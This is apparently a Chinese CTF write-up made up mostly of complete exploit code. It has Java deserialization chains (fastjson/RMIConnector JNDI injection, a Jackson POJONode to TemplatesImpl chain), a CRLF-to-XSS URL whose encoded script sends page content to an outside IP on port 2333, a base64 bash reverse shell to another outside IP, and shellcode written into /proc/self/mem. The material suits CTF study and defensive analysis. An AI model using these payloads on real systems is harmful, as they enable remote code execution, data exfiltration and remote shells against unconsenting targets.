ezbean 直接通过fastjson触发com.ctf.ezser.bean.MyBean 的 getter,进而利用RMIConnector的jndi注入,使用elbypass 可以成功利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import com.alibaba.fastjson.JSONObject;import com.ctf.ezser.bean.MyBean;import com.ctf.ezser.utils.MyObjectInputStream;import javax.management.BadAttributeValueExpException;import javax.management.remote.JMXConnector;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.Base64;public class ezbean { public static void setValue (Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" ); setValue(jmxServiceURL,"urlPath" ,"/jndi/rmi://180.76.154.33:1099/isjyqa" ); Object rmiConnector = new RMIConnector (jmxServiceURL, null ); MyBean myBean = new MyBean (null ,null , (JMXConnector) rmiConnector); JSONObject jsonObject = new JSONObject (); jsonObject.put("a" ,myBean); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class cBadAttributeValueExpException = Class.forName("javax.management.BadAttributeValueExpException" ); Field fval = cBadAttributeValueExpException.getDeclaredField("val" ); fval.setAccessible(true ); fval.set(badAttributeValueExpException,jsonObject); ByteArrayOutputStream baos1 = new ByteArrayOutputStream (); ObjectOutputStream oos1 = new ObjectOutputStream (baos1); oos1.writeObject(badAttributeValueExpException); oos1.close(); byte [] bytes1 = baos1.toByteArray(); byte [] data = Base64.getEncoder().encode(bytes1); System.out.println(new String (data)); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes1); MyObjectInputStream objectInputStream = new MyObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } }
Obsidian CRLF->xss
1 /note/025c938c-6e63 -435f -8ddd-40cb53259639%0d %0aContent-Type%3A%20text%2Fhtml%3B%20charset%3Dutf-8 %0d %0aContent-Length:400 %0d %0a%0d %0aaaaa%3Cscript%3Eeval(atob("ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkgCnsgCiAgICB2YXIgZW5jb2RlZCA9IGVuY29kZVVSSSh0aGlzLnJlc3BvbnNlVGV4dCk7CiAgICBsb2NhdGlvbi5ocmVmPSJodHRwOi8vMS4xMTcuNzMuMTE5OjIzMzMvP2RhdGE9IitlbmNvZGVkOyAKfSAKdmFyIG9SZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsgCm9SZXEuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsIHJlcUxpc3RlbmVyKTsgCm9SZXEub3BlbigiR0VUIiwiL2Jsb2ciKTsgCm9SZXEuc2VuZCgpOw==" ))%3C%2Fscript%3E
bypassIt I 需要挖掘新链子,看到下面配置感觉链子和jackson有关
类比fastjson链子来看,找到writeValueAsString 可以触发getter方法,接着就是找toString到writeValueAsString的链子
1 2 3 4 5 6 match (source:Method) where source.NAME =~"toString" match (sink:Method {}) where sink.NAME =~ "writeValueAsString" with source, collect(sink) as sinks call tabby.algo.findJavaGadget(source,sinks, 4 , false , false ) yield path where none (n in nodes(path) where (n.CLASSNAME = "a" or n.CLASSNAME = "b" )) return path limit 1
分析后有如下链子
BadAttributeValueExpException.readObject
com.fasterxml.jackson.databind.node.BaseJsonNode.toString
com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString
com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString
->getter (接templateimpl链子)
然后写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 package com.ctf.bypassit;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class exploit { public static void setFieldValue (Object object,String filedName,Object value) throws NoSuchFieldException, IllegalAccessException { Field field = object.getClass().getDeclaredField(filedName); field.setAccessible(true ); field.set(object,value); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODAuNzYuMTU0LjMzLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , bytes); setFieldValue(templates, "_name" , "null" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); POJONode pojoNode = new POJONode ("abc" ); setFieldValue(pojoNode,"_value" ,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("abcdefg" ); setFieldValue(badAttributeValueExpException,"val" ,pojoNode); ObjectOutputStream stream = new ObjectOutputStream (new FileOutputStream ("bypass1.ser" )); stream.writeObject(badAttributeValueExpException); stream.close(); ByteArrayOutputStream baos1 = new ByteArrayOutputStream (); ObjectOutputStream oos1 = new ObjectOutputStream (baos1); oos1.writeObject(badAttributeValueExpException); oos1.close(); byte [] bytes1 = baos1.toByteArray(); byte [] data = Base64.getEncoder().encode(bytes1); System.out.println(new String (data)); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes1); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } }
在生成exp时要将com.fasterxml.jackson.databind.node.BaseJsonNode#writeReplace方法改成别的名字,不然生成序列化数据时传递不了对象
bypass2 与1一样,不过禁用了native层的系统调用,但是可以任意文件写,通过向/proc/self/mem中覆盖内存写shellcode达到rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;public class exploit2 { public static void setFieldValue (Object object,String filedName,Object value) throws NoSuchFieldException, IllegalAccessException { Field field = object.getClass().getDeclaredField(filedName); field.setAccessible(true ); field.set(object,value); } public static void main (String[] args) throws Exception { TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(Hack.class.getName()).toBytecode() }); setFieldValue(templates, "_name" , "hahahha" ); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); POJONode pojoNode = new POJONode ("abc" ); setFieldValue(pojoNode,"_value" ,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException ("aaa" ); setFieldValue(badAttributeValueExpException,"val" ,pojoNode); ObjectOutputStream stream = new ObjectOutputStream (new FileOutputStream ("ppp.ser" )); stream.writeObject(badAttributeValueExpException); stream.close(); ByteArrayOutputStream baos1 = new ByteArrayOutputStream (); ObjectOutputStream oos1 = new ObjectOutputStream (baos1); oos1.writeObject(badAttributeValueExpException); oos1.close(); byte [] bytes1 = baos1.toByteArray(); byte [] data = Base64.getEncoder().encode(bytes1); System.out.println(new String (data)); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes1); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); objectInputStream.readObject(); } } import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.*;import java.util.Base64;public class Hack extends AbstractTranslet { public Hack () throws Exception { String b64_shell = "ailYagJfagFemQ8FSInFSLgBAQEBAQEBAVBIuAMBCBy1TZsgSDEEJGoqWEiJ72oQWkiJ5g8FagNeSP/OeAtWaiFYSInvDwXr72poSLgvYmluLy8vc1BIiedocmkBAYE0JAEBAQEx9lZqCF5IAeZWSInmMdJqO1gPBQ==" ; byte [] shellcode = Base64.getDecoder().decode(b64_shell); FileReader fin = new FileReader ("/proc/self/maps" ); BufferedReader reader = new BufferedReader (fin); String line; long libbase = 0L ; while ((line = reader.readLine()) != null ) { String[] splits = line.trim().split(" " ); if (line.endsWith("libc-2.31.so" )) { String[] addr_range = splits[0 ].split("-" ); libbase = Long.parseLong(addr_range[0 ], 16 ); break ; } } fin.close(); System.out.println(libbase); File file = new File ("/proc/self/mem" ); System.out.println(file); RandomAccessFile access = new RandomAccessFile (file, "rw" ); access.seek(libbase+685664 ); byte [] bytes = new byte [20 ]; access.write(shellcode); access.close(); FileOutputStream outputStream = new FileOutputStream ("/tmp/mem_output" ); outputStream.write(bytes); outputStream.close(); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }